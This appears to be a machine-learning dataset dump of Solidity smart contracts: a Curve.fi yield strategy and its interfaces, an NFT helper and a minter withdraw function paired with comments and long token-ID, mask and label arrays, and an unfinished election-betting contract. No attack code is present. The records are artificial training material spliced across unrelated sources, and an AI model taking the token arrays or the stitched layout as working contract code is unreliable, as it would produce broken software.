event Claimed(address indexed _vault, address indexed _user, address _token, uint256 _amount);
event DepositsCleared(address indexed _vault);
event RequestsCleared(address indexed _vault);
function registerStrategy(address _strategy) external;
function depositToVault(address _user, address _token, uint256 _amount) external;
function depositToVault(address _user, address[] calldata _tokens, uint256[] calldata _amounts) external;
function withdrawFromVault(address _user, address _token, uint256 _amount) external;
function withdrawFromVault(address _user, address[] calldata _tokens, uint256[] calldata _amounts) external;
function operatorAction(address _strategy) external returns(uint256, uint256);
function operatorActionOneCoin(address _strategy, address _token) external returns(uint256, uint256);
function clearOnHoldDeposits() external;
function clearWithdrawRequests() external;
function setRemainder(uint256 _amount, uint256 _index) external;
function quickWithdraw(address _user, address[] calldata _tokens, uint256[] calldata _amounts) external;
function quickWithdrawStrategy() external view returns(address);
function claimRequested(address _user) external;
function normalizedBalance() external returns(uint256);
function normalizedBalance(address _strategy) external returns(uint256);
function normalizedVaultBalance() external view returns(uint256);
function supportedTokens() external view returns(address[] memory);
function supportedTokensCount() external view returns(uint256);
function isStrategyRegistered(address _strategy) external view returns(bool);
function registeredStrategies() external view returns(address[] memory);
function isTokenRegistered(address _token) external view returns (bool);
function tokenRegisteredInd(address _token) external view returns(uint256);
function totalClaimableAmount(address _token) external view returns (uint256);
function claimableAmount(address _user, address _token) external view returns (uint256);
function amountOnHold(address _user, address _token) external view returns (uint256);
function amountRequested(address _user, address _token) external view returns (uint256);
}
// File: contracts\interfaces\defi\ICurveFiDeposit.sol
pragma solidity ^0.5.12;
contract ICurveFiDeposit {
function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 min_uamount) external;
function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 min_uamount, bool donate_dust) external;
function withdraw_donated_dust() external;
function coins(int128 i) external view returns (address);
function underlying_coins (int128 i) external view returns (address);
function curve() external view returns (address);
function token() external view returns (address);
function calc_withdraw_one_coin (uint256 _token_amount, int128 i) external view returns (uint256);
}
// File: contracts\interfaces\defi\ICurveFiDeposit_Y.sol
pragma solidity ^0.5.12;
contract ICurveFiDeposit_Y {
function add_liquidity (uint256[4] calldata uamounts, uint256 min_mint_amount) external;
function remove_liquidity (uint256 _amount, uint256[4] calldata min_uamounts) external;
function remove_liquidity_imbalance (uint256[4] calldata uamounts, uint256 max_burn_amount) external;
}
// File: contracts\interfaces\defi\ICurveFiLiquidityGauge.sol
pragma solidity ^0.5.16;
interface ICurveFiLiquidityGauge {
//Addresses of tokens
function lp_token() external returns(address);
function crv_token() external returns(address);
//Work with LP tokens
function balanceOf(address addr) external view returns (uint256);
function deposit(uint256 _value) external;
function withdraw(uint256 _value) external;
//Work with CRV
function claimable_tokens(address addr) external returns (uint256);
function minter() external view returns(address); //use minter().mint(gauge_addr) to claim CRV
function integrate_fraction(address _for) external returns(uint256);
function user_checkpoint(address _for) external returns(bool);
}
// File: contracts\interfaces\defi\ICurveFiMinter.sol
pragma solidity ^0.5.16;
interface ICurveFiMinter {
function mint(address gauge_addr) external;
function mint_for(address gauge_addr, address _for) external;
function minted(address _for, address gauge_addr) external returns(uint256);
}
// File: contracts\interfaces\defi\ICurveFiSwap.sol
pragma solidity ^0.5.12;
interface ICurveFiSwap {
function balances(int128 i) external view returns(uint256);
function A() external view returns(uint256);
function fee() external view returns(uint256);
function coins(int128 i) external view returns (address);
}
// File: contracts\interfaces\defi\IDexag.sol
pragma solidity ^0.5.12;
/**
* Interfce for Dexag Proxy
* https://github.com/ConcourseOpen/DEXAG-Proxy/blob/master/contracts/DexTradingWithCollection.sol
*/
interface IDexag {
function approvalHandler() external returns(address);
function trade(
address from,
address to,
uint256 fromAmount,
address[] calldata exchanges,
address[] calldata approvals,
bytes calldata data,
uint256[] calldata offsets,
uint256[] calldata etherValues,
uint256 limitAmount,
uint256 tradeType
) external payable;
}
// File: contracts\interfaces\defi\IYErc20.sol
pragma solidity ^0.5.12;
//solhint-disable func-order
contract IYErc20 {
//ERC20 functions
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
//yToken functions
function deposit(uint256 amount) external;
function withdraw(uint256 shares) external;
function getPricePerFullShare() external view returns (uint256);
function token() external returns(address);
}
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\ERC20Detailed.sol
pragma solidity ^0.5.0;
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
// File: contracts\utils\CalcUtils.sol
pragma solidity ^0.5.12;
library CalcUtils {
using SafeMath for uint256;
function normalizeAmount(address coin, uint256 amount) internal view returns(uint256) {
uint8 decimals = ERC20Detailed(coin).decimals();
if (decimals == 18) {
return amount;
} else if (decimals > 18) {
return amount.div(uint256(10)**(decimals-18));
} else if (decimals < 18) {
return amount.mul(uint256(10)**(18 - decimals));
}
}
function denormalizeAmount(address coin, uint256 amount) internal view returns(uint256) {
uint256 decimals = ERC20Detailed(coin).decimals();
if (decimals == 18) {
return amount;
} else if (decimals > 18) {
return amount.mul(uint256(10)**(decimals-18));
} else if (decimals < 18) {
return amount.div(uint256(10)**(18 - decimals));
}
}
}
// File: contracts\modules\defi\CurveFiStablecoinStrategy.sol
pragma solidity ^0.5.12;
contract CurveFiStablecoinStrategy is Module, IDefiStrategy, IStrategyCurveFiSwapCrv, DefiOperatorRole {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct PriceData {
uint256 price;
uint256 lastUpdateBlock;
}
address public vault;
ICurveFiDeposit public curveFiDeposit;
IERC20 public curveFiToken;
ICurveFiLiquidityGauge public curveFiLPGauge;
ICurveFiSwap public curveFiSwap;
ICurveFiMinter public curveFiMinter;
uint256 public slippageMultiplier;
address public crvToken;
address public dexagProxy;
address public dexagApproveHandler;
string internal strategyId;
mapping(address=>PriceData) internal yPricePerFullShare;
//Register stablecoins contracts addresses
function initialize(address _pool, string memory _strategyId) public initializer {
Module.initialize(_pool);
DefiOperatorRole.initialize(_msgSender());
slippageMultiplier = 1.01*1e18;
strategyId = _strategyId;
}
function setProtocol(address _depositContract, address _liquidityGauge, address _curveFiMinter, address _dexagProxy) public onlyDefiOperator {
require(_depositContract != address(0), "Incorrect deposit contract address");
curveFiDeposit = ICurveFiDeposit(_depositContract);
curveFiLPGauge = ICurveFiLiquidityGauge(_liquidityGauge);
curveFiMinter = ICurveFiMinter(_curveFiMinter);
curveFiSwap = ICurveFiSwap(curveFiDeposit.curve());
curveFiToken = IERC20(curveFiDeposit.token());
address lpToken = curveFiLPGauge.lp_token();
require(lpToken == address(curveFiToken), "CurveFiProtocol: LP tokens do not match");
crvToken = curveFiLPGauge.crv_token();
dexagProxy = _dexagProxy;
dexagApproveHandler = IDexag(_dexagProxy).approvalHandler();
}
function setVault(address _vault) public onlyDefiOperator {
vault = _vault;
}
function setDexagProxy(address _dexagProxy) public onlyDefiOperator {
dexagProxy = _dexagProxy;
dexagApproveHandler = IDexag(_dexagProxy).approvalHandler();
}
function handleDeposit(address token, uint256 amount) public onlyDefiOperator {
uint256 nTokens = IVaultProtocol(vault).supportedTokensCount();
uint256[] memory amounts = new uint256[](nTokens);
uint256 ind = IVaultProtocol(vault).tokenRegisteredInd(token);
for (uint256 i=0; i < nTokens; i++) {
amounts[i] = uint256(0);
}
IERC20(token).safeTransferFrom(vault, address(this), amount);
IERC20(token).safeApprove(address(curveFiDeposit), amount);
amounts[ind] = amount;
ICurveFiDeposit_Y(address(curveFiDeposit)).add_liquidity(convertArray(amounts), 0);
//Stake Curve LP-token
uint256 cftBalance = curveFiToken.balanceOf(address(this));
curveFiToken.safeApprove(address(curveFiLPGauge), cftBalance);
curveFiLPGauge.deposit(cftBalance);
}
function handleDeposit(address[] memory tokens, uint256[] memory amounts) public onlyDefiOperator {
require(tokens.length == amounts.length, "Count of tokens does not match count of amounts");
require(amounts.length == IVaultProtocol(vault).supportedTokensCount(), "Amounts count does not match registered tokens");
for (uint256 i=0; i < tokens.length; i++) {
IERC20(tokens[i]).safeTransferFrom(vault, address(this), amounts[i]);
IERC20(tokens[i]).safeApprove(address(curveFiDeposit), amounts[i]);
}
//Check for sufficient amounts on the Vault balances is checked in the WithdrawOperator()
//Correct amounts are also set in WithdrawOperator()
//Deposit stablecoins into the protocol
ICurveFiDeposit_Y(address(curveFiDeposit)).add_liquidity(convertArray(amounts), 0);
//Stake Curve LP-token
uint256 cftBalance = curveFiToken.balanceOf(address(this));
curveFiToken.safeApprove(address(curveFiLPGauge), cftBalance);
curveFiLPGauge.deposit(cftBalance);
}
function withdraw(address beneficiary, address token, uint256 amount) public onlyDefiOperator {
uint256 tokenIdx = IVaultProtocol(vault).tokenRegisteredInd(token);
//All withdrawn tokens are marked as claimable, so anyway we need to withdraw from the protocol
// count shares for proportional withdraw
uint256 nAmount = CalcUtils.normalizeAmount(token, amount);
uint256 nBalance = normalizedBalance();
uint256 poolShares = curveFiTokenBalance();
uint256 withdrawShares = poolShares.mul(nAmount).mul(slippageMultiplier).div(nBalance).div(1e18); //Increase required amount to some percent, so that we definitely have enough to withdraw
//Unstake Curve LP-token
curveFiLPGauge.withdraw(withdrawShares);
IERC20(curveFiToken).safeApprove(address(curveFiDeposit), withdrawShares);
curveFiDeposit.remove_liquidity_one_coin(withdrawShares, int128(tokenIdx), amount, false); //DONATE_DUST - false
IERC20(token).safeTransfer(beneficiary, amount);
}
function withdraw(address beneficiary, uint256[] memory amounts) public onlyDefiOperator {
address[] memory registeredVaultTokens = IVaultProtocol(vault).supportedTokens();
require(amounts.length == registeredVaultTokens.length, "Wrong amounts array length");
//All withdrawn tokens are marked as claimable, so anyway we need to withdraw from the protocol
uint256 nWithdraw;
uint256 i;
for (i = 0; i < registeredVaultTokens.length; i++) {
address tkn = registeredVaultTokens[i];
nWithdraw = nWithdraw.add(CalcUtils.normalizeAmount(tkn, amounts[i]));
}
uint256 nBalance = normalizedBalance();
uint256 poolShares = curveFiTokenBalance();
uint256 withdrawShares = poolShares.mul(nWithdraw).mul(slippageMultiplier).div(nBalance).div(1e18); //Increase required amount to some percent, so that we definitely have enough to withdraw
//Unstake Curve LP-token
curveFiLPGauge.withdraw(withdrawShares);
IERC20(curveFiToken).safeApprove(address(curveFiDeposit), withdrawShares);
ICurveFiDeposit_Y(address(curveFiDeposit)).remove_liquidity_imbalance(convertArray(amounts), withdrawShares);
for (i = 0; i < registeredVaultTokens.length; i++){
IERC20 lToken = IERC20(registeredVaultTokens[i]);
uint256 lBalance = lToken.balanceOf(address(this));
uint256 lAmount = (lBalance <= amounts[i])?lBalance:amounts[i]; // Rounding may prevent Curve.Fi to return exactly requested amount
lToken.safeTransfer(beneficiary, lAmount);
}
}
/**
* @notice Operator should call this to receive CRV from curve
*/
function performStrategyStep1() external onlyDefiOperator {
claimRewardsFromProtocol();
uint256 crvAmount = IERC20(crvToken).balanceOf(address(this));
emit CrvClaimed(strategyId, address(this), crvAmount);
}
/**
* @notice Operator should call this to exchange CRV to DAI
*/
function performStrategyStep2(bytes calldata dexagSwapData, address swapStablecoin) external onlyDefiOperator {
uint256 crvAmount = IERC20(crvToken).balanceOf(address(this));
IERC20(crvToken).safeApprove(dexagApproveHandler, crvAmount);
(bool success, bytes memory result) = dexagProxy.call(dexagSwapData);
if(!success) assembly {
revert(add(result,32), result) //Reverts with same revert reason
}
//new dai tokens will be transferred to the Vault, they will be deposited by the operator on the next round
//new LP tokens will be distributed automatically after the operator action
uint256 amount = IERC20(swapStablecoin).balanceOf(address(this));
IERC20(swapStablecoin).safeTransfer(vault, amount);
}
function curveFiTokenBalance() public view returns(uint256) {
uint256 notStaked = curveFiToken.balanceOf(address(this));
uint256 staked = curveFiLPGauge.balanceOf(address(this));
return notStaked.add(staked);
}
function claimRewardsFromProtocol() internal {
curveFiMinter.mint_for(address(curveFiLPGauge), address(this));
}
function balanceOf(address token) public returns(uint256) {
uint256 tokenIdx = getTokenIndex(token);
uint256 cfBalance = curveFiTokenBalance();
uint256 cfTotalSupply = curveFiToken.totalSupply();
uint256 yTokenCurveFiBalance = curveFiSwap.balances(int128(tokenIdx));
uint256 yTokenShares = yTokenCurveFiBalance.mul(cfBalance).div(cfTotalSupply);
uint256 tokenBalance = getPricePerFullShare(curveFiSwap.coins(int128(tokenIdx))).mul(yTokenShares).div(1e18); //getPricePerFullShare() returns balance of underlying token multiplied by 1e18
return tokenBalance;
}
function balanceOfAll() public returns(uint256[] memory balances) {
uint256 cfBalance = curveFiTokenBalance();
uint256 cfTotalSupply = curveFiToken.totalSupply();
uint256 nTokens = IVaultProtocol(vault).supportedTokensCount();
require(cfTotalSupply > 0, "No Curve pool tokens minted");
balances = new uint256[](nTokens);
uint256 ycfBalance;
for (uint256 i=0; i < nTokens; i++){
ycfBalance = curveFiSwap.balances(int128(i));
uint256 yShares = ycfBalance.mul(cfBalance).div(cfTotalSupply);
balances[i] = getPricePerFullShare(curveFiSwap.coins(int128(i))).mul(yShares).div(1e18);
}
}
function normalizedBalance() public returns(uint256) {
address[] memory registeredVaultTokens = IVaultProtocol(vault).supportedTokens();
uint256[] memory balances = balanceOfAll();
uint256 summ;
for (uint256 i=0; i < registeredVaultTokens.length; i++){
summ = summ.add(CalcUtils.normalizeAmount(registeredVaultTokens[i], balances[i]));
}
return summ;
}
function getStrategyId() public view returns(string memory) {
return strategyId;
}
function convertArray(uint256[] memory amounts) internal pure returns(uint256[4] memory) {
require(amounts.length == 4, "Wrong token count");
uint256[4] memory amnts = [uint256(0), uint256(0), uint256(0), uint256(0)];
for(uint256 i=0; i < 4; i++){
amnts[i] = amounts[i];
}
return amnts;
}
function getTokenIndex(address token) public view returns(uint256) {
address[] memory registeredVaultTokens = IVaultProtocol(vault).supportedTokens();
for (uint256 i=0; i < registeredVaultTokens.length; i++){
if (registeredVaultTokens[i] == token){
return i;
}
}
revert("CurveFiYProtocol: token not registered");
}
function getPricePerFullShare(address yToken) internal returns(uint256) {
PriceData storage pd = yPricePerFullShare[yToken];
if(pd.lastUpdateBlock < block.number) {
pd.price = IYErc20(yToken).getPricePerFullShare();
pd.lastUpdateBlock = block.number;
}
return pd.price;
}
} | solhint-disable func-orderERC20 functionsyToken functions | contract IYErc20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function deposit(uint256 amount) external;
function withdraw(uint256 shares) external;
function getPricePerFullShare() external view returns (uint256);
function token() external returns(address);
}
| 630,452 | [
1,
18281,
11317,
17,
8394,
1326,
17,
1019,
654,
39,
3462,
4186,
93,
1345,
4186,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
467,
61,
41,
1310,
3462,
288,
7010,
203,
565,
445,
2078,
3088,
1283,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
7412,
12,
2867,
8027,
16,
2254,
5034,
3844,
13,
3903,
1135,
261,
6430,
1769,
203,
565,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
5034,
3844,
13,
3903,
1135,
261,
6430,
1769,
203,
565,
445,
7412,
1265,
12,
2867,
5793,
16,
1758,
8027,
16,
2254,
5034,
3844,
13,
3903,
1135,
261,
6430,
1769,
203,
565,
445,
508,
1435,
3903,
1476,
1135,
261,
1080,
3778,
1769,
203,
565,
445,
3273,
1435,
3903,
1476,
1135,
261,
1080,
3778,
1769,
203,
565,
445,
15105,
1435,
3903,
1476,
1135,
261,
11890,
28,
1769,
203,
203,
565,
445,
443,
1724,
12,
11890,
5034,
3844,
13,
3903,
31,
203,
565,
445,
598,
9446,
12,
11890,
5034,
24123,
13,
3903,
31,
203,
565,
445,
25930,
2173,
5080,
9535,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
1147,
1435,
3903,
1135,
12,
2867,
1769,
203,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xBE61Ce91AAbb9036E05CC2Fb7276a790255D213A/sources/contracts/Traitz.sol | =============== IERC721xHelper =============== | function ownerOfMultiple(
uint256[] calldata tokenIds
) external view returns (address[] memory) {
address[] memory part = new address[](tokenIds.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
part[i] = ownerOf(tokenIds[i]);
}
return part;
}
| 2,963,378 | [
1,
14468,
12275,
467,
654,
39,
27,
5340,
92,
2276,
422,
14468,
33,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
3410,
951,
8438,
12,
203,
3639,
2254,
5034,
8526,
745,
892,
1147,
2673,
203,
565,
262,
3903,
1476,
1135,
261,
2867,
8526,
3778,
13,
288,
203,
3639,
1758,
8526,
3778,
1087,
273,
394,
1758,
8526,
12,
2316,
2673,
18,
2469,
1769,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
1147,
2673,
18,
2469,
31,
277,
27245,
288,
203,
5411,
1087,
63,
77,
65,
273,
3410,
951,
12,
2316,
2673,
63,
77,
19226,
203,
3639,
289,
203,
3639,
327,
1087,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0x7329974322B6254d14A6f803aF862De6b909d3Ff/sources/contracts/Contract.sol | @notice Transfers all pending withdrawal balance to the caller. Reverts if the caller is not an authorized minter. IMPORTANT: casting msg.sender to a payable address is only safe if ALL members of the minter role are payable addresses. zero account before transfer to prevent re-entrancy attack | function withdraw() public {
require(hasRole(MINTER_ROLE, msg.sender), "Only authorized minters can withdraw");
address payable receiver = payable(msg.sender);
uint amount = pendingWithdrawals[receiver];
pendingWithdrawals[receiver] = 0;
receiver.transfer(amount);
}
| 877,263 | [
1,
1429,
18881,
777,
4634,
598,
9446,
287,
11013,
358,
326,
4894,
18,
868,
31537,
309,
326,
4894,
353,
486,
392,
10799,
1131,
387,
18,
21840,
6856,
30,
27660,
1234,
18,
15330,
358,
279,
8843,
429,
1758,
353,
1338,
4183,
309,
8061,
4833,
434,
326,
1131,
387,
2478,
854,
8843,
429,
6138,
18,
3634,
2236,
1865,
7412,
358,
5309,
283,
17,
8230,
12514,
13843,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
598,
9446,
1435,
1071,
288,
203,
565,
2583,
12,
5332,
2996,
12,
6236,
2560,
67,
16256,
16,
1234,
18,
15330,
3631,
315,
3386,
10799,
1131,
5432,
848,
598,
9446,
8863,
203,
203,
565,
1758,
8843,
429,
5971,
273,
8843,
429,
12,
3576,
18,
15330,
1769,
203,
203,
565,
2254,
3844,
273,
4634,
1190,
9446,
1031,
63,
24454,
15533,
203,
565,
4634,
1190,
9446,
1031,
63,
24454,
65,
273,
374,
31,
203,
565,
5971,
18,
13866,
12,
8949,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.17;
contract Election{
address public manager; // contract manager
bool public isActive;
mapping(uint256 => address[]) public users; // all votes
mapping(address => uint256[]) public votes; // to fetch one user's votes
uint256 public totalUsers; // total users participated (not unique user count)
uint256 public totalVotes; // for calculating avg vote guess on client side. (stats only)
address[] public winners; // winner list. will be set after manager calls finalizeContract function
uint256 public winnerPrice; // reward per user for successfull guess.
uint256 public voteResult; // candidate's vote result will be set after election.
// minimum reqired ether to enter competition.
modifier mRequiredValue(){
require(msg.value == .01 ether);
_;
}
// manager only functions: pause, finalizeContract
modifier mManagerOnly(){
require(msg.sender == manager);
_;
}
// contract will be manually paused before on election day by manager.
modifier mIsActive(){
require(isActive);
_;
}
// constructor
function Election() public{
manager = msg.sender;
isActive = true;
}
/**
* user can join competition with this function.
* user's guess multiplied with 10 before calling this function for not using decimal numbers.
* ex: user guess: 40.2 -> 402
**/
function voteRequest(uint256 guess) public payable mIsActive mRequiredValue {
require(guess > 0);
require(guess <= 1000);
address[] storage list = users[guess];
list.push(msg.sender);
votes[msg.sender].push(guess);
totalUsers++;
totalVotes += guess;
}
// get user's vote history.
function getUserVotes() public view returns(uint256[]){
return votes[msg.sender];
}
// stats only function
function getSummary() public returns(uint256, uint256, uint256) {
return(
totalVotes,
totalUsers,
this.balance
);
}
// for pausing contract. contract will be paused on election day. new users can't join competition after contract paused.
function pause() public mManagerOnly {
isActive = !isActive;
}
/** send ether to winners.(5% manager fee.)
* if there is no winner choose closest estimates will get rewards.
* manager will call this function after official results announced by YSK.
* winners will receive rewards instantly.
* election results will be rounded to one decimal only.
* if result is 40.52 then winner is who guessed 40.5
* if result is 40.56 then winner is who guessed 40.6
**/
